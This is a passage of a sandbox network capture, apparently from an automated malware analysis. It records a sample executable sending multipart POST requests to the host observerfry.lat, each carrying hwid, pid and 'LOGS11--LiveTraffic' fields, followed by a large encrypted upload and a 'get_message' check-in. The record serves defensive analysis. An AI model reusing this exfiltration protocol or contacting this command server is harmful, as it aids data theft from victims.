{"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f2caec043e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1637&min_rtt=1616&rtt_var=621&sent=8&recv=13&lost=0&retrans=0&sent_bytes=2836&recv_bytes=9700&delivery_rate=1806930&cwnd=226&unsent_bytes=0&cid=935870f038997ff2&ts=967&x=0"
2024-12-24 11:39:10 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49734	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:12 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=03BWRWRB52Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20401 Host: observerfry.lat
2024-12-24 11:39:12 UTC	15331	OUT	Data Raw: 2d 2d 30 33 42 57 52 57 52 42 35 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 33 42 57 52 57 52 42 35 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 30 33 42 57 52 57 52 42 35 32 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 33 42 57 52 57 52 42 35 32 59 Data Ascii: --03BWRWRB52YContent-Disposition: form-data; name="hwid"654829FDC0AAAEE6BEBA0C6A975F1733--03BWRWRB52YContent-Disposition: form-data; name="pid"3--03BWRWRB52YContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--03BWRWRB52Y
2024-12-24 11:39:12 UTC	5070	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-12-24 11:39:13 UTC	1130	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=f2434kam81lp7ersv1e9accetv; expires=Sat, 19 Apr 2025 05:25:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KWmkm2i1OMVeDVPgSUJWqEwFoBa3WVavTUuiDAeyIqzzkHGUKC4jY7LfsGZrT%2F0z4x8ClmP8CkicoEaM1ejIhEA%2BeBghmLtuINSV%2FEjaUlyUPhjGT%2FiODzheBIUd2KQ5Lfw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f3c3b9b4349-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1766&min_rtt=1684&rtt_var=690&sent=17&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21355&delivery_rate=1733966&cwnd=227&unsent_bytes=0&cid=c2668513529b4919&ts=1102&x=0"
2024-12-24 11:39:13 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49735	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:15 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=03K4BXQC70KV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1245 Host: observerfry.lat
2024-12-24 11:39:15 UTC	1245	OUT	Data Raw: 2d 2d 30 33 4b 34 42 58 51 43 37 30 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 30 33 4b 34 42 58 51 43 37 30 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 33 4b 34 42 58 51 43 37 30 4b 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 33 4b 34 42 58 51 43 Data Ascii: --03K4BXQC70KVContent-Disposition: form-data; name="hwid"654829FDC0AAAEE6BEBA0C6A975F1733--03K4BXQC70KVContent-Disposition: form-data; name="pid"1--03K4BXQC70KVContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--03K4BXQC
2024-12-24 11:39:16 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j6kkn88l7a9dqeqbche7t7bmpi; expires=Sat, 19 Apr 2025 05:25:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adFn4%2FtTNDGMrkWjaUEHAcTDJW9jPI%2BUCUIIBUuJWa4izXwGjr%2Faa3BTpstTnd7kbH7JJNn3JMB3tJsBBQtVHvQDDbETkJjFf4162SL7nyYemR%2FBeql0rEp5WyC74J5kC3U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f4d99e078e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1884&min_rtt=1870&rtt_var=730&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=2155&delivery_rate=1471032&cwnd=230&unsent_bytes=0&cid=d7fd5592762d7e0c&ts=764&x=0"
2024-12-24 11:39:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 11:39:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:17 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MAA11A2CALJYV2H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 552315 Host: observerfry.lat
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: 2d 2d 4d 41 41 31 31 41 32 43 41 4c 4a 59 56 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 41 41 31 31 41 32 43 41 4c 4a 59 56 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 41 41 31 31 41 32 43 41 4c 4a 59 56 32 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --MAA11A2CALJYV2HContent-Disposition: form-data; name="hwid"654829FDC0AAAEE6BEBA0C6A975F1733--MAA11A2CALJYV2HContent-Disposition: form-data; name="pid"1--MAA11A2CALJYV2HContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: c3 77 c4 82 1f 65 2b 37 dc fc b8 6f 00 25 26 43 cb be b9 d9 27 57 54 b9 71 a1 8d 7d e6 22 d9 1b 7f 45 44 5f 8a c9 1e 79 bd 99 73 7f c0 e0 16 15 17 af 6a 5b f8 11 77 4c 2f bb d1 5f 1d 7c be cf 0c 79 a9 5e ab 26 1d c1 b7 71 db fc 39 68 df 14 ce ea 86 a8 87 c2 63 79 c1 3d 1e 9d 43 2d c6 04 8c 5c 29 62 88 4c 2d c2 fd 95 b2 db 30 f9 63 14 1b 24 89 0c 05 8c cd 91 b7 49 b1 71 85 e5 e8 bd e0 cf b0 9e b7 ab f3 bd cc 01 fc cb d7 ed d7 37 f7 09 6f 45 bb 4b 8d e7 7a b1 fd 50 3b c0 59 23 bd 81 b0 73 75 12 69 e2 72 51 0c a2 40 4a e4 d2 dc 83 b1 11 b2 62 2c 1c 1e cd bc 13 e8 28 09 93 1f 92 e7 46 8d df 8f b2 e2 05 92 b3 3e 38 24 7d f2 23 48 a2 9e 0b 93 b6 ab d4 cf 96 10 00 32 4c 16 36 cb 19 ec 7a e3 84 8d eb 32 94 3f 21 0a ef d8 90 cf 43 d9 ee dd 31 b0 9f d4 a4 08 42 31 Data Ascii: we+7o%&C'WTq}"ED_ysj[wL/_\|y^&q9hcy=C-\)bL-0c$Iq7oEKzP;Y#suirQ@Jb,(F>8$}#H2L6z2?!C1B1
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: a5 22 b7 a8 c0 b3 80 5c eb 20 b2 dc 8b a3 1b 1d b4 55 ad 21 4a 7b 7d 7b dd 1a 4e e8 b1 5c d1 0b fe d4 78 8c 46 e0 71 d6 54 a7 5d 5b ed 1c 19 27 b9 25 df 8b 9d 67 a3 e4 35 57 bb 14 05 79 33 2c b5 55 0a a6 54 7b 73 5c a6 e1 dc c6 f9 c0 dc b2 6b 95 bc cf 05 ab 9a 33 87 e1 e8 8b bf 7f 5b 61 3a f2 42 2a 9b 44 8f 76 2e 5c 5b 3f 1e 52 2f aa f7 b8 db 99 19 1e d2 7f 4d 60 52 cd ab e1 7f 8a b9 95 12 20 02 0a df 7e ef 9e d8 ae 5d 78 ac 3d d3 c7 29 e4 eb cd 9d 21 5c 5e 7d 56 56 1a 63 c1 d8 32 ba d0 cf 76 72 32 e9 af ca c9 fa 8a 20 96 74 cf c1 d6 32 d1 e6 a3 21 52 c3 25 dd 19 2d 9d 81 99 ac 6c 68 d3 49 bf de 32 42 3e 6b 89 71 68 b5 7a af e9 b4 d5 fb 56 aa 8c 34 6d 28 d4 b5 f0 fe 5c 88 3f 1a b8 a5 07 66 c6 fa 30 15 d0 e3 6e 88 bf a7 1a 29 87 89 63 d3 df 5f f4 49 c0 2a Data Ascii: "\ U!J{}{N\xFqT]['%g5Wy3,UT{s\k3[a:BDv.\[?R/M`R ~]x=)!\^}VVc2vr2 t2!R%-lhI2B>kqhzV4m(\?f0n)c_I
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: 3c b5 b4 e3 b4 a3 c9 3f ac 8e 67 46 66 b3 69 8a a3 74 72 70 f9 c8 00 f5 b1 e2 38 7b e8 73 c1 20 95 36 30 2f ab 6e be b9 bc 62 f1 37 ae 40 b2 da cf fb dd b6 7a ab ec bd e4 b5 ca 3c 25 52 59 ee dc cc 23 ec b5 be a9 98 19 99 d9 1a 7c 57 de 3c 66 9d f3 cb 6e 31 87 d8 35 e0 fb ed 63 60 da 35 4c df 66 67 e1 58 ca f2 c7 3a c7 c1 3d 81 b9 57 96 db 7e ef d7 cc 23 30 ed 93 6e 21 b9 15 fb c4 0d 8f bd 7e 73 c3 f2 40 f6 a9 a9 e1 df c6 8e 36 cc 71 fb 4f de 15 7c 39 06 72 48 51 4c bf e3 32 11 79 89 11 94 3c bf bf dc da 5f 68 7e 76 36 24 6a 64 3c 67 15 e4 59 17 3d c4 ad cb 28 e5 00 c6 7e 34 dd 7b e8 d6 fb c7 a0 2a 1f 13 3a 22 00 a6 29 45 5d 65 42 a0 bb f0 c2 ec 78 d6 95 e9 d1 6e bd 73 77 7e 64 9d 8d 13 07 b1 c6 08 08 46 94 d8 a3 bd 20 5b be fc 13 1a f4 d8 ae 3a 5f 7a 74 Data Ascii: <?gFfitrp8{s 60/nb7@z<%RY#\|W<fn15c`5LfgX:=W~#0n!~s@6qO\|9rHQL2y<_h~v6$jd<gY=(~4{*:")E]eBxnsw~dF [:_zt
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: e8 fa 47 de 49 ed d7 75 31 d3 be 13 e5 95 32 0f 1f be a5 d4 bd 54 b0 d2 f9 20 f2 38 04 62 f8 d4 d5 a8 2f 58 43 82 da 21 ac 86 76 63 a7 5c 38 4f 11 b6 11 17 5c cb e2 26 39 7c 38 37 e1 b7 2d 2b 7d f4 aa 4e 77 bc 19 c4 b9 77 76 a4 cc dd 78 15 85 0e 97 11 c1 b9 d9 15 a9 65 a9 38 9e b9 d6 1d f7 95 c0 a0 81 f6 0f d2 75 46 3f 4f 87 d6 38 41 b5 78 a0 7a 2e d7 33 4f d8 b4 a2 01 80 bc cd 55 c9 81 a2 ed d5 e3 70 e0 b7 5c a3 a1 63 52 33 d7 2f 91 df ea 86 fa cc 09 00 9c fc c6 a9 ea e1 54 e7 33 0c 59 dd 1c 92 2f 36 ea 38 f9 64 91 7a 40 83 3d c4 f1 ff 62 2b ad a3 1a 41 bd ee 99 47 52 c0 48 90 4c 5a f9 5b d0 11 ff 6d 3f 39 bb 1c d6 98 e4 49 0c 38 d4 5a df 3e 5b db 98 bc 52 e5 3a cb 6a 34 c0 bf 11 93 32 d9 cf 7b 76 3c 95 2b d2 9e d4 5e c2 75 14 35 70 7f db e8 60 42 9e ec Data Ascii: GIu12T 8b/XC!vc\8O\&9\|87-+}Nwwvxe8uF?O8Axz.3OUp\cR3/T3Y/68dz@=b+AGRHLZ[m?9I8Z>[R:j42{v<+^u5p`B
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: a8 2a fc c4 88 fe 60 01 d7 b1 13 71 e7 bb 37 37 83 2f 81 40 18 96 00 b7 fa 35 ba 96 64 90 68 59 7a f6 ad b7 50 1b c6 87 77 ce ed df e7 ea a4 c1 f1 58 fa ae cc a6 d4 c6 75 03 ab 23 7b 08 3e e8 25 07 e7 2a 99 8e 8b 19 0e 38 10 f5 c0 08 f9 1a 37 8c 59 8f f4 b8 27 f9 eb 8b bc 58 86 16 f7 ba 4e 24 5c 67 2b 8e af df ac c1 12 14 fa 61 2f 89 eb 4a 25 9f e7 48 c9 5c 99 c0 6a 7c 4b b8 f3 7d a0 e5 f8 b2 f0 d8 77 01 dc 65 70 52 58 64 ec 4b d0 cf b3 2e e3 98 a5 80 bf 49 f6 99 69 92 b0 7a ee b7 e7 39 46 91 c1 69 bf 85 e2 b8 b1 43 96 4a 29 65 1b 62 1b ba 89 cf 72 54 08 bb 17 0a 66 ab 78 17 7c f6 2a ae 83 49 cf 48 e5 84 f5 29 50 f8 f8 17 1e a8 1e e4 5e d4 82 ce 8f 2b 92 c8 ef b6 ad 6d 61 2d 61 c6 df c0 f3 b8 30 f9 64 7a f5 06 5f 5b e3 6e f0 86 39 ff f3 cf 7f db af 38 83 Data Ascii: `q77/@5dhYzPwXu#{>%87Y'XN$\g+a/J%H\j\|K}wepRXdK.Iiz9FiCJ)ebrTfx\|*IH)P^+ma-a0dz_[n98
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: 1d 20 b8 1e e0 30 b0 71 33 43 13 e0 99 0e 66 c2 6c ec a1 eb a0 a0 53 eb e9 7e 60 7b 45 39 b7 78 92 de bc d3 1e 4b 4b ba 93 4d 28 ac 38 64 e1 42 7f 1c 46 1f 10 f3 7e 8c 44 00 82 96 31 01 80 32 f2 92 69 94 6b 35 95 de 8b f2 96 8b 19 9c f4 0d 4a 36 aa 5b 99 43 66 b1 b5 3d 5f fa 8a 1f 0d a7 a3 39 e6 48 38 a2 4f b5 a1 28 d1 95 e8 a4 6e 83 f0 80 e7 12 8e ae 74 c2 fa 94 a0 20 c4 44 20 71 5e f1 03 98 1f 8f 61 a3 59 2d 8d c5 01 c9 b9 a3 e9 b5 34 4c 44 8f 50 41 31 19 1b 0f e2 a2 24 73 3e 6e aa 70 9d a9 13 69 14 6f 07 85 28 7d 74 d7 b1 82 2b ca a9 92 51 9e 2a a5 21 42 7f 4e e3 30 56 2c ae 88 e9 dc db 7e 5a 95 b8 c5 31 87 5c f3 a3 16 09 ce 7b 5f 85 90 85 61 61 07 60 00 cc 12 4b 85 c3 c3 34 98 8f 65 e8 81 04 dd 2f fd 34 22 59 25 ea 1c 5a 67 19 a0 45 07 93 dc 9d d5 e2 Data Ascii: 0q3CflS~`{E9xKKM(8dBF~D12ik5J6[Cf=_9H8O(nt D q^aY-4LDPA1$s>npio(}t+Q*!BN0V,~Z1\{_aa`K4e/4"Y%ZgE
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: df 23 b5 33 05 68 d7 40 29 f2 8f 16 ad 4a df ab 51 58 6d 07 c2 04 33 3c 2a 76 c5 76 dc 05 83 61 51 33 53 e3 f7 c3 31 74 02 54 fb 5c f4 5b 27 39 a2 4d 03 01 4a ba 5b 28 f6 58 54 fe a5 85 e3 55 3c 31 49 61 81 25 bb 17 6a a9 07 28 3e bf ec 9b a6 3d 7a a5 45 cf bd cf 0d e2 89 b2 9e ed 64 10 40 50 30 e9 12 53 7c 24 6e 50 44 93 39 76 d4 4f 04 85 c1 10 31 6c 39 e3 ef c1 7a b3 9d f6 5d f3 c8 1b bd 6d 06 80 7f fc 33 c5 2a 60 31 de 78 a0 dd b9 06 fd 6a b5 03 45 ce c2 e2 13 f3 45 dd 06 31 82 bd 39 96 e1 10 5a 39 68 eb c0 fe 4c 14 3c d3 7e 29 53 4a d3 14 df d1 af d8 9b ee 14 21 23 b4 47 15 c3 1a 9f 33 35 80 0e ef 39 de 9b 6b 80 fb 7a be ad 46 f3 b2 c7 d6 be a1 4b fe 09 23 5e 1f b4 26 b7 45 51 3b b7 eb bf 44 55 eb 42 4d fb 41 db 55 b7 f6 75 95 c4 f1 87 d1 46 1a bf 98 Data Ascii: #3h@)JQXm3<vvaQ3S1tT\['9MJ[(XTU<1Ia%j(>=zEd@P0S\|$nPD9vO1l9z]m3`1xjEE19Z9hL<~)SJ!#G359kzFK#^&EQ;DUBMAUuF
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: 77 f0 22 37 c4 29 e4 99 2a 2b 33 df 5a 4a 0f a8 73 bf ba d8 28 62 4e 13 cd ce dc a1 d7 2f 1d 90 8c bc 5e a3 66 c9 ff 8b d8 6f 27 49 b6 66 d6 fe 3a d5 73 3c 08 54 c6 5d 46 71 5e 66 7b c7 85 a1 84 2f bb 30 58 ac ea e9 10 e2 3e 87 c4 08 d8 96 49 b6 ad 57 7d 52 b5 65 02 b0 d6 a6 73 0f 83 12 43 d8 29 27 fb f2 b8 49 c5 74 a5 39 d6 af 4e 32 cd 0f 7c ae 7d 62 03 d7 00 4e 07 57 fc bd 16 18 e4 5f 89 0f d8 6a a1 6b bc 3f 06 cb be df 1f bd 43 9f 00 13 5e 86 5d dc 7f 31 51 3f 13 cd 5b 98 eb b6 0e 0e 21 a8 c6 fa 98 14 c3 76 77 f0 2e a1 37 2d 8a 8f 2b ea 6c d4 51 b9 c0 af eb 76 05 24 d8 fa 2d 5f 56 e4 f2 9a 11 9d 98 a3 e5 2b 2c 51 e8 8d b1 11 f3 9d 6a 7e 25 e9 4b d5 e4 e8 29 69 7f 2b 69 bf f6 63 ce f4 ee b2 73 87 9d d9 45 76 6f 55 4c f1 c9 05 aa d4 65 f5 bf fd 58 0e 0c Data Ascii: w"7)*+3ZJs(bN/^fo'If:s<T]Fq^f{/0X>IW}ResC)'It9N2\|}bNW_jk?C^]1Q?[!vw.7-+lQv$-_V+,Qj~%K)i+icsEvoULeX
2024-12-24 11:39:17 UTC	15331	OUT	Data Raw: 17 73 8f 7e 5f 51 7a 52 fa ef 38 c6 df 83 1b ee 2c 85 e2 d3 18 e9 53 c2 88 55 ec e3 1b 9f 0f ef 4d d2 e5 fe 38 4b ce f6 d8 b7 b4 e2 1e a3 2a 5e 56 59 77 7b 30 50 57 89 f1 7b bf 51 d8 8f cf a7 47 fa 8f 68 8a b4 9d e6 dd 54 f3 7c db dd c0 ec 19 80 71 7f dd 09 2b ba 47 27 fa 8a 3c d9 32 d2 af 94 eb 9e 32 cb 24 28 58 6f d6 90 7b 7e d0 04 cd 10 f8 27 29 84 1c d3 fc 2a 0e d4 93 1f c1 67 52 c7 ae bc 2d 77 27 ba dd 9a 3b b2 01 ff 2a 26 d2 2b fc f9 b3 be 7d 91 3f 26 93 f2 c2 1f c4 d3 66 2e 80 ad 78 4c a3 63 1d 13 21 6e c1 e2 fc 69 95 9f ae fb 62 a7 14 9e 74 b6 6f b5 58 fa fb 9f 83 d7 bd 87 51 71 2f 9f 30 11 1b d1 8d 79 35 27 39 34 d0 a8 ce c4 a3 37 0a 6e 9f 82 c5 44 0d 76 36 be 07 62 90 c4 d4 66 2b 42 9d 76 dc 98 04 dc 16 cb e8 13 e5 e0 a0 75 65 4c b8 fb 19 f0 ec Data Ascii: s~_QzR8,SUM8K^VYw{0PW{QGhT\|q+G'<22$(Xo{~')gR-w';*&+}?&f.xLc!nibtoXQq/0y5'947nDv6bf+BvueL
2024-12-24 11:39:22 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=er50qeilc7jv1ff7dmr0kj2mmj; expires=Sat, 19 Apr 2025 05:25:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wx%2FeozvyN8cyLMBrBKqPTIXhqVLvjWfCYVEDw9EOuYPVTk%2BYPQp7WJxWF3FE6ggTolfGCQsjra4NwifMro6oXapyPgg%2Fwe5r9Uu721yvhVkbjqtSIUzG7TbIaFyOHdpidus%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f5d6c3f5e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1688&min_rtt=1680&rtt_var=647&sent=345&recv=573&lost=0&retrans=0&sent_bytes=2837&recv_bytes=554814&delivery_rate=1667618&cwnd=225&unsent_bytes=0&cid=fc65deff086979cf&ts=4559&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	104.21.36.201	443	6596	C:\Users\user\Desktop\j6ks0Fxu6t.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 11:39:23 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: observerfry.lat
2024-12-24 11:39:23 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 35 34 38 32 39 46 44 43 30 41 41 41 45 45 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=654829FDC0AAAEE6BEBA0C6A975F1733
2024-12-24 11:39:24 UTC	1123	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 11:39:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9bm3jbk7fa6ep401p9ogtucu2h; expires=Sat, 19 Apr 2025 05:26:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NGafvA90dO61P1xFeiJuy4koXaZRmTThGwYXyh4Aa3m5eGMl4DvIrLYmrkIhlxY7%2BfPEkRO7A1on9ARGMvFB93SZWPF9bNvhQ70Zyke8H%2BCOSks9%2FOb9MHnoRE5buHCsu1w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f704f81bb9f4262-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1912&min_rtt=1904&rtt_var=730&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=987&delivery_rate=1481481&cwnd=190&unsent_bytes=0&cid=c0b36577b1122e9d&ts=787&x=0"
